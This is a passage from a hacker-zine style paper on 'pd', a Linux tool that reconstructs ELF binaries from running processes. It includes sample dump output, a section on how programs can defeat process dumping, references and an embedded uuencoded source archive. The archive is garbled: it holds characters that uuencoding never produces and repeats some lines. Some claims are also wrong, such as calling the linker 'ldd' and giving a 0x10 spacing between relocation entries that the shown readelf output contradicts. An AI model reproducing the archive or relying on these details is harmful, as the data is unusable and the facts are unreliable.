GCC in the process of compiling a source code makes a table for the relocation entries to link with ldd. This table grows as source file is being analyzed. Each relocatable object is then pushed in a table for internal manipulation. Each table entry has a size of 0x10 bytes, each entry is located 0x10 bytes from the last, so there are 16 bytes between each object. Take a look at this output of readelf.

```
 Relocation section '.rel.plt' at offset 0x308 contains 8 entries:
 Offset    Info    Type            Sym.Value  Sym. Name
 080496b8 00000107 R_386_JUMP_SLOT 08048380   getchar
 080496bc 00000207 R_386_JUMP_SLOT 08048390   __register_frame_info
 080496c0 00000307 R_386_JUMP_SLOT 080483a0   __deregister_frame_inf
 080496c4 00000407 R_386_JUMP_SLOT 080483b0   __libc_start_main
 080496c8 00000507 R_386_JUMP_SLOT 080483c0   printf
 080496cc 00000607 R_386_JUMP_SLOT 080483d0   fclose
 080496d0 00000707 R_386_JUMP_SLOT 080483e0   strtoul
 080496d4 00000807 R_386_JUMP_SLOT 080483f0   fopen
                                         ^
                                         ^
```

As shown below, each of the entries from the table is just 0x10 bytes below than the next in memory . When one of this objects is linked in runtime, it's value will show a library space memory address out of the original segment. Rebuilding this table is done locating at least an unresolved value from this list (it's symbol value must be inside it's program section memory space). Original address could then be obtained from It's position.

The next step is to perform a replace in all entries marked as R_386_JUMP_SLOT with the calculated address for each modified entry. Note: Other compilers may act very different, so the first step is to fingerprint the compiler before doing any un-relocation task.

Some options are manipulable in command line to pd. See readme for more information. Also, some demos are included in the src package, and a simple todo with help to launch each them: simple process dump, packed dump (upx or burneye), injected code dump and grugq's ulexec dump.

Here is, for your information a simple dump of a netcat process connected to a host:

```
---------------------------------------------------------------------------
[ilo@reversing src]$ ps aux |grep localhost
ilopez   5114  0.0  0.2  1568  564 pts/2   S+   02:25  0:00 nc localhost 80
[ilo@reversing src]$ ./pd -vo nc.dumped 5114
pd V1.0 POF <ilo@reversing.org>
source distribution for testing purposes..
[v]Attached.
performing search..
only PAGESZ method implemented in this version
[v]dump: 0xbffff000 to 0xc0000000: 0x1000 bytes
AT_PAGESZ located at: 0xbffffb24
[v]Now checking for boundaries..
[v]Hitting top at: 0xbffffb94
[v]Hitting bottom at: 0xbffffb1c
[v]AT_PHDR: 0x8048034  AT_PHNUM: 0x7
[v]dump: 0x8048034 to 0x8048114: 0xe0 bytes
[v]program header( 0-7 ) table info..
[v]TYPE Offset     VirtAddr   PhysAddr   FileSiz MemSiz  FLG   Align
[v]PHDR 0x00000034 0x08048034 0x08048034 0x000e0 0x000e0 0x005 0x4
[v]INTE 0x00000114 0x08048114 0x08048114 0x00013 0x00013 0x004 0x1
[v]LOAD 0x00000000 0x08048000 0x08048000 0x03f10 0x03f10 0x005 0x1000
[v]LOAD 0x00004000 0x0804c000 0x0804c000 0x005d8 0x005d8 0x006 0x1000
[v]DYNA 0x00004014 0x0804c014 0x0804c014 0x000c8 0x000c8 0x006 0x4
[v]NOTE 0x00000128 0x08048128 0x08048128 0x00020 0x00020 0x004 0x4
..
gather process information and rebuild:
-loadable program segments, elf header and minimal size..
[v]dump: 0x8048000 to 0x804bf10: 0x3f10 bytes
[v]realloc to 0x3f10 bytes
[v]dump: 0x804c000 to 0x804c5d8: 0x5d8 bytes
[v]realloc to 0x45d8 bytes
[v]max file size 0x45d8 bytes
[v]dumped .text section
[v]dumped .data section
[v]segment section based completed
analyzing dynamic segment..
[v]HASH
[v]STRTAB
[v]SYMTAB
[v]symtable located at: 0x80482d8 , offset: 0x2d8
[v]st_name 0x208 st_value 0x0 st_size 0x167
[v]st_info 0x12 st_other 0x0 st_shndx 0x0
[v]STRSZ
[v]SYMENT
Agressive fixing Global Object Table..
 vaddr: 0x804c0e0 daddr: 0x8048000 foffset: 0x40e0
* plt unresolved!!!
section headers rebuild
this distribution does not rebuild section headers
saving file: nc.dumped
[v]saved: 0x45d8 bytes
```

```
Finished.
[v]Dettached.
---------------------------------------------------------------------------
```

In this example the program netcat with pid 5114 is dumped to the file nc.dumped. The reconstructed binary is only part of the original file as show in these lists:

```
---------------------------------------------------------------------------
[ilo@reversing src]$ ls -la nc.dumped
-rwxr-xr-x  1 ilo ilo 17880 Jul 10 02:26 nc.dumped
[ilo@reserving src]$ ls -la `whereis nc`
ls: nc:: No such file or directory
-rwxr-xr-x  1 root root 20632 Sep 21  2004 /usr/bin/nc
---------------------------------------------------------------------------
```

This version of pd does all the tasks of rebuilding a binary file from a process. The pd concept was re-developed to a more useful tool performing two steps. The first should help recovering all the information from a process in a single package. With all this information a second stage allow to rebuild the executable in more relaxed environment, as other host or another moment. The option to save and restore state of a process has been added thus allowing to re-lauch an application in other host in the same state as it was when the information was gathered. Go to reversing.org web site to get the last version of the program.

--[7.0 - Defeating PD, or defeating process dumping.

The process presented in this article suffers from lots of presumptions: tested with gcc compiled binaries, under specified system models, its workflow simply depends on several system conditions and information that could be forged by the program. However following the method would be easy to defeat further antidump research.

In each recovering process task, some of the information is presumed, and other is obtained but never evaluated before. Although the process may be reviewed for error and consistency checking a generic flow will not work against an specific developed program. For example, it's very easy to remove all data information from memory to avoid pd reading all the needings in the rebuild process. Elf header could be deleted in runtime, or modified, as the auxiliar vector in the stack, or the program headers.

There are other methods to get the binary information: asking the kernel about a process or accessing in raw format to memory locating known structures and so, but not only it's a very hard approach, the system may be forged by an intruder. Never forget that..

Current issues known in PD are:

- If the program is being ptraced, this condition will prevent pd attaching process to work, so program ends here (for now).

  Solution: enable a kernel process to dump binary information even if ptrace is disabled.

- If a forged ELF header is found in the system, probably it will be used instead of the real one.

  Solution: manually inspect ELF header or program headers found in the system before accepting them.

- If no information about program headers or elf is found, and if /proc is not available in that user space, and aux_vt is not found the program will not work, and..

  Solution: perform a better approach in pd.c. PD is just a POC code to show the process of rebuild a binary file. In a real

- Some kernel patches remove memory contents and modify binary file prior to execution: Unspected behavior.

Anyway, PD will not work well with programs where the data segment has variables modified in runtime, as execution of the recovered program depends in the state of these variables. There’s no history about memory modified by a process, so return to a previous state of the data segment is impossible, again, for now.

--[8.0 - Conclusion

"Reversing" term reveals a funny feature: every time a new technique appears, another one defeat it, in both sides. As in the virus scene, a new patch will follow to a new development. Everytime a new forensics method is released, a new anti-forensics one appears. There’s a crack for almost every protected application, and a new version of that program will protect from that crack.

In this paper, some of the methods hiding code (even if it’s not malicious) were defeated with simply reversing how a process is built. Further investigation may leave this method inefficient due to load design of the kernel in the studied system. In fact, once a method is known, it’s easy to defeat, and the one presented in this article is not an exception

--[9.0 - Greets & contact

Metalslug, Uri, Laura, Mammon (still more ptrace stuff.. you know ;)), Mayhem, Silvio, Zalewski, grugq, !dSR and 514-77, "ncn" and "fist" staff. Ripe deserves special thanks for help in demo codes, and pushing me to improve the recovering process.

Contact: ilo[at]reversing.org http://www.reversing.org

--[10 - References

- grugq 2002 - The Art of Defiling: Defeating Forensic Analysis on Unix
  http://www.phrack.org/phrack/59/p59-0x06.txt
- grugq 2004 - The Design and Implementation of ul_exec
  http://www.hcunix.net/papers/grugq_ul_exec.txt
- 7a69 - Ghost In The System Project
  http://www.7a69ezine.org/gits
- Silvio - Elf executable reconstruction from a core image
  http://www.uebi.net/silvio/core-reconstruction.txt
- Mayhem - Some shoots related to linux reversing.
  http://www.devhell.org/
- ilo-- - Process dumping for binary reconstruction: pd
  http://www.reversing.org/

--[11 - Source Code

This is not the last version of PD. For further information about this project please refer to http://www.reversing.org


```
begin 664 pd-1.0.tar.gz
M'XL("+&(T$("`W!D+3$N,"YT87(`[%OK;^,XDN^O]E]!X`YH9Z[M2++2[\2\
M.W?B3F<G+^^31/0_,&91$VYK(DFDDD:.'0Y`S91X,%<6&]+VB(DNI(Ti,*Qv*K;8X1pZ1uu>Q2)AEB&K&AIaq1lEr1Lgu+]
MB'DaI(%Bt@\j\$7IU^V\N9DdFNpA"3E:DA1N*7bX?FTdN.O(Od_QhhDw8;Ag,Kd
M%g/dmLo5z8oaH:KS&3;4:H5`=-hT[-0B;w2MM@,m1F>\wCNZ:^8(R)zFpy*'s
M.W?B3F<G+^31/0_,&91$VYK(DD:/).X/^[=?59&4)<M6YO9V>F\.+021++-^
M9!7K2=*QUS5[QN&;/_(RX!H-!G@WX:]\U]<;T["&MFG85G_XQC"MP:#_A@W>
M?(4K3S.>,/;&#Z)8?-G?[K7O-2/Z_B>Y8CG_7N3F*Q%F//.C\/"?./_&"-Z;
M`]LRO\W_/VW^13#O+;L\?WG*>ME+]H^8_Z%M[YO__LBV</X-<S08VA:TLXQ^
M?_2&&=_F_P^_#K]C%V+!`_;$@URD;!XEC,^R=2Q8!_0A63-\/N@Q]MUAN]WZ
M%T_,_5"PR?WLZN'B@NG+8**>Q@_J3*)1FX^!&5(GDG<@A`@#73C:;VYM!
```

```
M9!7K2=*QUS5[QN&;/_(RX!H-!G@WX:]\U]<;T["&MFG85G_XQC"MP:#_A@W>
M?(4K3S.>,/;&#Z)8?-G?[K7O-2/Z_B>Y8CG_7N3F*Q%F//.C\/"?./_&"-Z;
M`]LRO\W_/VW^13#O+;L\?WG*>ME+]H^8_Z%M[YO__LBV</X-<S08VA:TLXQ^
M?_2&&=_F_P^_#K]C%V+!`_;$@URD;!XEC,^R=2Q8!_0A63-\/N@Q]MUAN]WZ
M%T_,_5"PR?WLZN'B@NG+8*>AQZ(Y>Q)N!IA`728^/[NZOIVJQN8N8NPZ
M749YX#%','\11HGPMF&F/TQ//IPJ,JL.\\$/!/-$ZB9^C*.`\<1)M$CX:AOI
MYN/I;4'9KR/=*+*EX)Y(I)SV0DVO[C6I78>Z\[^(\D@D))/2KF%=/5QJVD$=
MZRI?.2*IHZ4UH,G9].XG13C<,:AUFHD5B_E"L!0'N$7_?G(W+=J/ZO3O>2H8
M][Q$I"D.QP\SD<2)@/_;4!\N)F=WFG2\8]("OJB-'T1Z^Z-N=+1/8>((^FV8
MY:OK^^G%!ZUVQMY9]E,61AG#MEL(#^>G&PK3K"'<"K"EW*]K:IG0M.KCG\_!
```

```
M4/PGL8OXK-)I?W>GBQV=E@E-NZ'3'<0G%]_?GWROB4?U:4K$;[D(W37*._-7
M(NT<2">!ZA2M!%N!R;(T%JX/PU-.1;D9:9..'RY8MA1LR1/OF2=BAYNYN9C<
M?[B^E49@#NJ*FR6(XGM@/_Y\C<]QP#.PSY5$*X-]_'PRN2D$,JR!77)WB4T]
M$8L0$1E\S%+&G2C/VNQW7:T6*)\+9@`>PN4Q=_S`SWR1*MZ@E_LEZ)<T]P4(
M/V4I2LL/<<P4@&5_))D/-P_P#0#PP/]"7[9;T$DL$FP-'M%94[M'D80B4!RW
MR]9V\W#RN6!Y7&/Y(040[,6-8$11P)ZCQ-/S`-^?@$@$<X+(?23'D.[HX_1D
M<O)Q^O[N_"?P$>91K8]3GG&0116H/COG91BK;IWG89HEN4L2>AWMH8)6M]2'
MT)_[P/MN),G\I%!?'8!(?\G[W]R<O&-YNCT%+(L*4<);K32%/Y03C"8#)).'
M'S[UV"7D(!CD_@(JN<,"9*R$[BC(6?^#6/GOA_Y?VG]G_A=$W`-C^AKYGST:
M8/XW,(:0^0UE_@?EPK?\[RM<WS$UT4QY+51-'C+Q(MP\XTX@>J"-7=3X1]99
M9EE\?'CX_/S<RT/?`[/NY2Y/>L++#]V%WP6'?KCB81>>_P,I_LTZ`.HTYJYH
MM3[D(=EN"QQ8:PZ96:O5.E6Y&?JU=@M\4=)JW2U%$+3D]9SXF2BB.8>4,J8,
M0Z`Y:0(<ZY/H'$@2(@>K#H*4!;[CMEM@I`D^M=)U.JLVOH#7JBW8K;3@=DO>
MZR0P;IZXRT._/QX>RD:'2FP]MP4FOH'XGNZMEA=5R.?I(7Z$UJT6Z%.H68HA
M^#&4B>Z\U4H%]C4#D?)D/5M"PT`D@%*&2`1W,\;3TG11OKY!P=F=@3TK'$D/
MS_-5AJ\)Y0+:,`:?:#0N@(+,GW'":>8VS*"I9+-L"2T\E*`?ND'NB4.>KKHD
DR+R]9:MA<@VCC#2<]C&BSS7_9+\Z"-D#=@M/IKP/%=:DNJ!<!:*9ZV=/4DH
$?!]H;8=B-R!IS\>8`I':HP"<J-XK5TN3C:HNT0HB%'^$.TU=4\.3T(6K<")
+P4H)#P5GGT>!4'TC/;#,\A$G#S#(BJ)5M19%?:X74HA(I90J@BZR<Y/WS'Y
D2V2*(^9?".*]$PVP[>5)&330)*=GU8Z$.&3GT0A^O7*>U*\>;4T2BLMW"!*
13<*NZA7;$X)>2<5@O2L8QT<5%JG$'%@[*2B*(E49!G<@21;\@QFXAV[.S^;
G7ZX`*;P"2):E1%\^?'Z`IC6TZ]KB:V>\C@.!`4J3)X4T]6Q0^]=%%<7<M]5
Y$%H][-:`R+=VP+F"\2#K$`PC.9S!HJ?Y=5N0M]5V:R4#'ZN2P92"R\'NP6)
M\E3),$[\R`VSH-8:-!.U"/,1#^(YQR"^$I!%0W07"^1:(:3+5137R+6::K&P
M;E>3KW@<RQE!\A5\K`\52%'N0*=FVL]JC=P\(85&YX#B\?R$ROMU5;$CJ)UV
M?T5:1S(GZ\8.5SQ]E%WF^%CK$[0@RA,0=N"O?"T!<"X)?:X/4;H<FCV($2MP
M>T&54?X$<E5V1ZZG,!YLUV4XVY@+PIR+EGHUR5]`(2!14,L9/$GXNOWFSW_M
S/_B(.LFPLG!^_5$^+].`5_+_TRSK_,_<V`.(?^#K[_E?U_E`OV^N;@_/+N^
!T,#V]E46!!`HS!8%QX9//RSGRW9V<D)&-DJ!DN&<@.S"BQNVQCC5_P1\@_T
^5M8/=`H\#`%,!1;8%P>ZX`I0?4$<"LT1#!:"*O4"T9/GBQ(*5EW0>'@`'II
4_]^J(9`^MH%.G)'N'I!@X#8SV0VA)4:8B6"^L3^L?*60\88'T>I3Z\S05D@
O(H2?X%N0]7HT!F^);QWF&SA"""(8"?&BVG`F-),Q"G[-5_!?T=DSQ!?L^>H
Z(G=HV`XL!T]@H<'.!1NGL4Y+59A.H6Y&/B?V\TPM;C>]F#L*,"W2`K1"+J&
?OO&F'P=]R%5&NNNCF$^KV43O,[#>42Y%BZ]E./M>M7[1+&+'MD57V$^8XP-
^VCHC.')(",=L=L9Y'6SOSY<WLSN+JYQ61,;C?MC+,_!"[L0IC:4KJ*T&BB/
D'(V2\3"![$ELSEDA6*&JQ\%CFLHG'X##I<XGJ@C;8!L!60W`#D2"-/]F<QP
5R#4#886QZ`!`T>,@3W,2IUK:0P;"#TDG%.^51!ZFOU1`Z%`0K"P#,K^#:7F
=]Q`.:<N,0G\G2M:ZOHO:#Y)<:'A.00MA[3W'8/Z8ZDS:Z6"F^Q76J"/AI%F
TE2<->;';:!%/R$-*Q0O60^,"/]N9=2A%;V4>5$HI*^0"38+!`<DH,M#3`N"
I\V*C.P4?0LH`VMW_.PMC'6]<B*UM\%6:ID%#,:'!(0:Z,I2&YM.M[#N@2K@
6GN"MDI'75ID@5&C!%CDH/G!&#:]:W>"QDS^!;DC_X`,81TD5^[`&T#5%T`W
Z%\P\]/B6_'D$2#!SVQ/8+OPC%#$N#GZ7SDLD%Z;7469.&;7\'6B_7.":&N&
)="3`+8\?RXP?WO'THAPYGZ25D8W!T'C.A4NH[>I)X4$[,YQ.=>+:"K"-4Q!
=^-4D=TWWZ[_C_E?^D?G?_;`'A3[O_V11?E?O_\M__M*^=\T4*5CQ#Q1RMQ<
=(CP)N!L`04=+?;X'F8U+$W<KH=^%GPPO`"/SG@<^"XY?,[$KWHU*M5YFA?A
8\@6KMMC-SSAM-[A?P'9>SXD$8"PU7,*=7F>NH`6X`X(O%.#>0O.&EN\E6EE
)^,KQX=!M7$@Z'\IZH0`RQ,8W4IX/@\S@3@ZHXS86Y53OJ6<DCV$'%SD%PHV
."ID<ZM;Y(?CJ(`CZ.X+)Q<.VI,GF`*YW.,8:"#?7-,7N0B@G\X\%\`LY'<L
X>&"P'#8!S#2A*4YH$%)G<81C!<7-6$PGG!0S!R_179<F;068^BQ4Y+8EKSB
7.!``_'$$]R+Q2$YN#@3XO2"3*"ZWF`#&+R-?<X(Q,]R-=T!3A'R&&VF+@$A
:0E!<](#@E`M"E(53CF#6`-B07Z@U1SWACTLVD.0!39N4^N-FK`.2@->;;H\
0%&#9$3RQ"'6,`JKF!$`$+(71+^"%N&L0^X$13T(.Y7ZJ^<0.^JQ25"2B12)
5#@NQ4:<QI#UX1#;V),RAG<0#R67<N9_`_ERJ`T\$>)4XYH,D.&C1V4&<"UD
Q9/C6Q#9%)0#=1*(U>:>-BG9BQ25F_/@M]Q'+8%\0N"R.EF*J@J.OU4%WZJ"
_]-5`;0_02,"`Y,^"(T8/`Y/WDFOF(?2AX*!DH.D_?^*2U6)J>MS)EU#ZB]R
Z0_!\6TJ!RP3H+L+OB-8D)5K$]<^($1G%T`,"*%SL#KIH#U1!)W"MAD,<LG!
=:?H(`O_#2^4:Q)AP#$P)*P#CKD`2GTL,4!+E^0(,O1QT!.7"Z`T.&CKDYO`
E4G%NK_BX`ZWW"!4'.!FV]N1J,R`ZH[<NBJ!0,PIU2(@,,(N>F[+"$8K&;2.
H]Q/*;#(\'<2A17"@JX3,8JM%<\$H5.]EG4(S#%Y:QG"(9RAYXQDO$VP_J`-
@E"^DH(#UP9^CR(1J<AF.%3(\&,6@:Q*V0,JC8P?(4E7SAO&?VP2"$@"2%UT
B4,!$*-S#]PP%&'@T7E"L5PM"M.<9GY,$[+IAN69K\0>E<-[H:T\+!1+*3>7
4YIJ"<-(49_0#>.,`$M_MOQ?A9YNRE&T?W#^WQ\,Y?IOZ?RG:0S-;_G_U[@D
6_\9\P!/`1S_[5]UWL$.\S3!G>+#T&5=3KZ^C0?B/M(!0TPI+OG"=X_Q/."<
V0-FN\P>,L/4?\;>/_0XN!]VW!A9H+.^!4WQ]%!S2V:]394?6-'R1N!G68"Q
`U-_@/@D$MS<:D(Q64?M;N%^TO7=X>3]>6.O#U?G/["N/CCY"1?'WI^_UI/1
EFG7*_S@N5;6F6XV]7'?[(!$3@?4FLC/P?D%;&Q`F/]]G$-XQ2JP=(!2+78=
UQIBIB`X,G&'*=&.<Z<EFH'%.G*]CTY&:!8*2IW*UBG-X6!H["2FLZ'-PC->
:'SJD"TMRLD>MLF*\1V4VN]GA_7+[?<>O-U0#$NP^WEEMK$3=B^%U4?<RK>8
\='^!U>EKW@Y9A;83ENW^ZA0@/3GJ^072NVKTM@N!B:@`_0`A0,5!\@)J,D=
S,&"73QB%0'%%0(RXY<=\U`Y'\Y4!FJ0`ZC>-B?(#6D@/S/S%]:3)^9*`#>W
```

```
MUV?OS^^+H\.4MQISFY#4S>Q+P$D!:!*@!8!AE(D>V&@WXPLYPNO[:66$"&A"
M!44!BFX0E;8!;0+L`^"2I\L*RQ\G=Q_K@)8$5+<QW&P):)<!;0#TUF&Z7I4`
M3G^\NOOQ<@O0<DAXZH:%BJE&.)"'Z27@0`%F2;G$N[^]G[S?`AP."4G=+'N/
M#(<`N`CSWI-T*1+@T_2V/L(QI]E0-V,$4<&JL&P1X*@*.$L4X-5T>EH%/#)=
M1%(W*`"+$598'@,@EL7`]F9$M],+5IN4(UL"RAO-\GC'I!PI0,PS7P$<2D!Y
M,_FX`N@H0-,@Q?:S"L!.Q79,$IZZ&=:`6)[\4-5#$RVE,KK]@'T:FKKU<;+M
M'8!H*1GN6;P*"($`D>3-ZH^,K1&:0P)$2YD#SZ\".I#V`41?WD"([FZ6T5*2
M"`\?O@IH2T"Z&4[-EBF]^-DD2ZG"[09T/3*1OKP9ABM'^'G+.9AH*6(I5QZ:
M`86%$'UYPQ6)W8`C:<M\Y;L5YS"Y/#]A54"RC;Z\P0BE'GY6EE(`HJ7@09;T
M59;%?$R`\[%:0]@]0K04[W<!SLGI]^<Z!.P&M-!2<-F9_0[`L024(Q0V*78-
M$"W%2=.M('5=AI.`G@Q+M@I29FU2I-I8:"GI$A=;N+/?P6ZBG@8TG%K4,]O?
MBS7NO\G\!N`_LPZ=?3UX!^K:X4$0N?#X`^O(DY[X_I)U5B)9X.,=Z\@4@)*(
M<];!A3-X?\$Z>#:"5BT3^'S&.G38"1Y?6"</'\/H.:1\%X&SA$/BJ\^184*!
M/_'P$^$=0#'<@:_H-/S<QZ'$K+/YG4/Q'E(._1N:4LJQE5L42Y&?_"13><;-
M<IVJ1_S1%F0;[%*L\$;YQB3P%YC(5WZF1;D>'2#'!\H&:H]@`D9QOV53>$9U
M.+^ZG][>;.',-\2U1YE:J/MMD37C]?,M_A`FS=0A:OD#HLW/GX[98>`[AX&'
MQU3REUX:]:Q?<!'K>G):8\4PBGYKC]+MJ+MD!<IH8S>4;EQXK<JC88U=V0Q"
M].UGMH'<BK4AIS)R\:]5!ZECU%W"84"WLJMI.2,L6:I_BB#L+I+`=NX-J4S
M6#"..WD(4I]F/*8\6+Y2K=)>K]<FJY/U*C[*7W[H=))>6957U<109G4Z%=,9
M5"7QV4I:BI2C2!5DB)>/%$ME`-11B\8@?\4EX\XF6!1>7GEGY5/)$Y+W(EI;
MT:JV]$[^,JK*"\CO5+51!TBKFP4XA<5N`8B]M%UPKW+D'95!U8'"J`]ITZ!=
MJ#"(O(,YW/3T8"?-G3S:"E:1\&1]S'[&17:TB^$O)1"7=<ZOSN\/]I9Y*DLJ
MD7BL\P%H&DDPRRB1V*R#67MS+Y"[ET@&K".]_$$#"233)9(AD/QX^0H))/0E
M$DZ]W/VT9V2#T=&F;"R('.IG>K5':N:P3F,".Z?3]P]G!PWE=-%!GW5N+N[/
KN\;&,&`7"*QB`22YMV\V):]8U"V)MK=#WQ1:CQBG;]>WNQM+*4+F7F)!#1T
M;_L-B5TFL8AD[X245P<*FC[1[)V/<9ED.*=+L(XJ@0X:1F:Z)9)Y07+U<%FG
M,DM-#6H*.M(D*JC;2O,')%C*'S0MM[3W[E""CZKN4&+)5?@<N^1R_MX-2ID#
M"K4?US\"8Y-[7&<7U^]GIY/[2AJ&>WJ+%?AMN:<W:Q<9GZPY.)BW)#^YOOFQ
EA;BYAID-8DF4SMK?;.)#-UU%$-_"TVF!SML(AM+,C_TF@1<VP+&$K00\*#_
#Y.P:;^^`>S86)]@BAIHJO'KF[_.P)6[ENXRT63NZWN]SI#(_$40A8M?5[$B
M8S7=W>=D;MWNUFAV*_O[SIC1*$T75.-7]_<=8Z0*A'N$YX:U(3NZYN[#G?E
[CJ>B7#6<91DBKIOO+[!Z^`VO/QACZ;2+!XU4.%V-9Y93"(]-7W-(V\@\Y!L
KK:^%9UFT6F@$VI*\4<;DLS6O+D-9'/J;A[DZ5*3:>:\_62N41%HN-%U6_,H
&JA-&JL(P!PUF69QWD!F2=4#D8;13!NU`AAH-V0T`*`@\?2*B'6_`\6LV6":
KJV8749IYJQQB5]3*V;-!A-UR43]4&2S,(NXIE3\F@U6ZDHK7>:9![6F(AQJ
/AMLU"4;37"G55O)4//98)0N&24>`A9%;YK!!JMTR2I75&AK,LU=@TVZW-U_
WD3"C#2O#<;I.A)FN5LM1IKO!DMU7:W,D?L8%:HQTKPW6)WKR=[![B`^;#SI
2`N@P?1<:;';W8XUTTWF-R]TBF<%KV/-:X/I>62X^&L/3:2Y;#`\SU0"*HU2
,6@UF)M']IH&0FBQ'"G>K`9K\_I*I'@4)YA1I;GQ:4>*1ZO!XCS;W7D`22$H
AJT&R_/(9KT\MC219K?!ZKRACL5<2XEK?ANLSBL":CK#XE>3:D8;+,\C@W4P
S5%$FK<&N_.DN8J5&Z\UF>:NP<X\7C*2DK]W-(L-!N8Y2C*E-,71_#7$0H\,
DPY6*2+-7X-)>E[%6Y>'JMEL,$I/%),(R6)AS_H`G=5@E-Y<9G#%%.K#<E:#
/0I#S0;X`4VFF6RP2$$6";EJN`FA^GA<O\$DA:78"S>SKT_']1L,0I!1II60
HL_&]1ML0I`IIO_-WO7%QG&<]Y,LV^)&MF575I0_3M>,9!WEX_'^\JB3[)J6
3I)K1E(L*FD0N^?EW9*\:'G+WMY1I!LA#A0W51BC?FB`/`3(8Q]2]*%O1=%"
;8.Z!=K"#WE(@:`0BKJ003VXA0KH0:WZ_9O9V>/>'9TRM)KPI.-WLSOSS<PW
WWPSW^[,;R*SF;J:PO?I%"[/:T'5M%CJJGI]=-L=YPFBHSJ$J^K61[-=ZH".
Y[14S5Q5LSZZZ4XH10%!VM;T/`QC-D(1-'V[T[P,?5)Y&P%O@VL$]"H>5XU=
X+TU_,[YL#PP.VRX'D?-YTGX9IO>82OO`E\G*^_C1<P('P?+T_FS]66U^!1+
6C;=-WQ>?O;<]%?.5_"YYXG)*=L^63DU>7%J&I=DG+0Y3;9L.B39B:Q]ZN)9
>JJ)7B$DBJ0AA^6%TU,OO7BBFDN#PYN3/<6YLNFAY*%*_=BP!Q/')U\V719[
8KP_'^W2Q/$JE$T?QLZ'9?IR91+QFB*\8GV<.+;%LNG4V./])49.3QR;\;+I
Y=@PM^S'1GE!<9Q*9=/MR8.GW(]3Q"V*8S=1-OT@N]B?'?E)<6R.EDW'*)?K
SX8=IQ@^V4S9])3L0JXO'_&DXAAI37>Y0(5!J@73D#@^6M5I`,@>[=_^[&O%
\5&JSL[5AIL-1[@X=DK;V=NR2_G^U2-O+(Z/4F]VO^P![=;MGL5Q5)K._M@@
36=_+8Z/TG-VT/+Y@0(+';@X=DK/V6/+#6"G/;HX5DK7V84;5$/EXL5PRBEM
9Y\.O-O^5H$&Z#@^2MG9R1M4(G8"X_@H96>OKSC>7TCL%<;QT<KNL"TN#K#%
<6YBG#7.:;6?V9BZS@]6V)SN`K6-""_T).-XB?+7U9A<L,^]^)N5$]/K>2'T
&C\SC>.CE9_-8#$SH)[:18UCIE7?W9"^]JV@UGTRA[F)PN!NA$YL#*N\4G[V
6NT!RH9>;1P7I?KLQMJ%TJ#6BZ]87JD^^[7YHP.$A'YO'!NE^>3H9@N%_*"&
BSK"<2R5SK/GFSTZB&679QS'4JD\N\+V@/D;NLIQ7)2E9]]XD.C9=X[CHY2=
G67[:&E`!94SK7GE[&1>>"E=KV_($J)W'5<BI>7UHQN1#[O;,7P*6L6=CV!:
>@SY!:WI9/L*A>P@<?>8=1>TJM<V,J5%#SV.B]9T,E&%`6-7Q&6/8Z>UG(W4
T>Q@92(?/HZ75F\V4H6)`5Y.(TXM"TJ]7;%/`Y4`+&<<'Z7>[-8/4@)Q^^,8
*=UF/S];&A\DHF8/M3Q:-E_!#1JE^!5=#)^BJ/=,KC"03[9@5U\Z!V:IWFA6
$1V4.2B=YD<0]M$!5>HY`RHJG>9G$H/\AJ"GWU!4:NT6-S18TD.,.#Z%LOF^
<@,RCC=%1:7+_/1C4&?%IR-Q7+0NES;BY='CDC@VI9Z/'.+G=9$WRBS.LOF$
!5<'#.KFZU78.@-315Y/AC!&,QUL`\8W\=SF7'O>3K;]MN/A=H%\2>X'(V7+
GN+;:CL!?@[1;@B*;I_PE]R6,Z?`:3,1+.PDS,K2F4,*52T;08Y.0D;IB4.\
&"!72&</61I\W<!F3H(?F"Y*M$(V75#1\KVCC9?2.16M$$&43T((2[0N6C&"
```

```
M'0_1<NF21"L5TT=5M/'>T2;&0VZEWIF:T29Z<@._!E)`N\FF&X&?"8PW]L;*
ML5Z/RG`59*A^>CV]O+TO\\(,NC+5:%XJ@ZR2\O`-FPSNE:E)DT=H!^F1$8V.
MG]3J-;*Q*\2N4/[Y$O=@-[&Y[&J;RBZ;V5QVFRN[[.;*+KNYLLMMKNQR/627
M#Z_D/@J[S95=;G-EE]^P[++0K^<\?R;LV''L-E?O\CUD-]#&&):PZ;KU'G:P
MVC(L87:](5R.F$+<`A0UA70%32$N$98<RC`T)&7MKEA%,HQZ-V26EYF7;;WT
M%$;%)K#$I?W(%DT!OH(HVZ'SI78?-A&6+.25ER2Y=4DRO9+DK/7[;JW[:__W
M@KL9T)\;PW\JYKKPGW!IW/;^[ZW!?[((!U/>^P4NS@P]`;1L^PI=@5#J:!<)
M7A1L,-MA_,\5AO6EY6RVHW&(">*",*]'[=,P<37CFH==)!VU0S=(::#C%"'S
M0L=,CQ"#DYV%187.1XRQ'(C%L/(&OHV$&*^X,%G&*N!A&@[N2&E3#1"'W#%1
M3(URI$/>",'71FR@X-)O$'C?<)\R#]LTV0]"<$)"^XX>Z.,Y*W1J"&U@EONA
M8-+V5_R./>\LN2Q11)40\%2_67/M%75WL=UR:FZ=(<>%18INUQQ"(73:A,>G
M@4P1)9!>UB+V-F:58NRNNBJG++P_'%C0O'67T`!1`U*VH^&33>AIQ*$G/'6"
M4$P3K"%?18X+^,2C#L:^H?;?0UK!3-4X8>![''%ZL'V8D2(1!#30R:\6;S>>J
M>-A8M8VM+MC*:DQ@0''62E-K5'*U"0+W.1$42@<*ZP1=C6')^MA`U,I&:*AS
M*&<J%CZ18H$)8@D"TB.,$0/"+D`Q%CJ(-664(&5?=G7[S?GX-X>\H>>P_J!:
M*9&;FCMLSSAX;(C/,C(K-><@?&-XI`CC,S*^++3B+-8.="%M3S9%;I7Y>HN*
&XKR/%PZ3#C9\N:>7^@C@IME%H;U4Z%W:N!\!9,IF"DK9H?'B-(E+*7&TX(2
259"XY1CGG40`"JN+QC^W&^I+R5#C;1D$PRT&2+%&X?=X+XS535*-=.9G86.
!:J((Q25;,;,QJ+N2])_D>$J&65<&@%Y0`;MV"HN^/7&[`I;#^P_<PH@6,,6
&^TDZMW5X:%<0;OA>1$0839D)/B6>QC/E:+>VH=KMZB<P$QL4?*P`*%%&4&]
-FHWVUAFL9P]=[:B,U3@_%"[20]1SA!^5/>B\!R)E$`P8W<PNJ*!I4P+/PCS
V((>,C=/F9(8&YROAF@-SW2H=UJ*"V=%F[90S@%5/.RGJH9>6Y:8J&JUV,Z+
7AWF3#!&=6:E"K*IXO/7P\"H"740(R$Z>QD;!TMLBT76)11/'4H"3)?\1IVM
`<9-6;H@L46(@-'R00$:7S5JG&R+3+9$IA%'.I]Z4.#,@9@5="RUN.,A+*/,
